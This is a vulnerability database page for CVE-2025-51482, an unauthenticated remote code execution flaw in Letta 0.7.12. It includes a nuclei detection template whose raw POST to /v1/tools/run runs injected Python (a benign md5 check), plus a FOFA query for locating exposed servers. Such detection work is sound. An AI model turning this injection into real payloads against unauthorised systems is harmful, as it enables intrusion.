HexBrain

Browse / CVEs / CVE-2025-51482

CVE-2025-51482· letta / letta· CWE-94

Letta Letta 0.7.12 - Remote Code Execution

highseverity
8.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.

Impact

Unauthenticated attackers can execute arbitrary Python code through crafted tool source code in the /v1/tools/run endpoint, achieving remote code execution.

Fix

Upgrade Letta to a version later than 0.7.12 that properly validates and sandboxes tool source code execution.

How to confirm it

Send: POST /v1/tools/run
Positive when: contains "{{md5(num)}}" and "tool_return\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-51482 -u <target>

The full check
id: CVE-2025-51482

info:
  name: Letta Letta 0.7.12 - Remote Code Execution
  author: RaghavArora14
  severity: high
  description: |
    Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.
  impact: |
    Unauthenticated attackers can execute arbitrary Python code through crafted tool source code in the /v1/tools/run endpoint, achieving remote code execution.
  remediation: |
    Upgrade Letta to a version later than 0.7.12 that properly validates and sandboxes tool source code execution.
  reference:
    - https://www.gecko.security/blog/cve-2025-51482
    - https://github.com/letta-ai/letta/pull/2630
    - https://github.com/Kai-One001/Letta-CVE-2025-51482-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-51482
    epss-score: 0.02112
    epss-percentile: 0.81957
    cwe-id: CWE-94
    cpe: cpe:2.3:a:letta:letta:0.7.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: letta
    product: letta
    fofa-query: title="Letta"
  tags: cve,cve2025,rce,letta,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /v1/tools/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "name": "nuclei",
          "args": {},
          "json_schema": {"type": "object", "properties": {}},
          "source_code": "def nuclei():\n    import hashlib\n    data='{{num}}'.encode('utf-8')\n    return ''+hashlib.md5(data).hexdigest()"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - 'tool_return":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from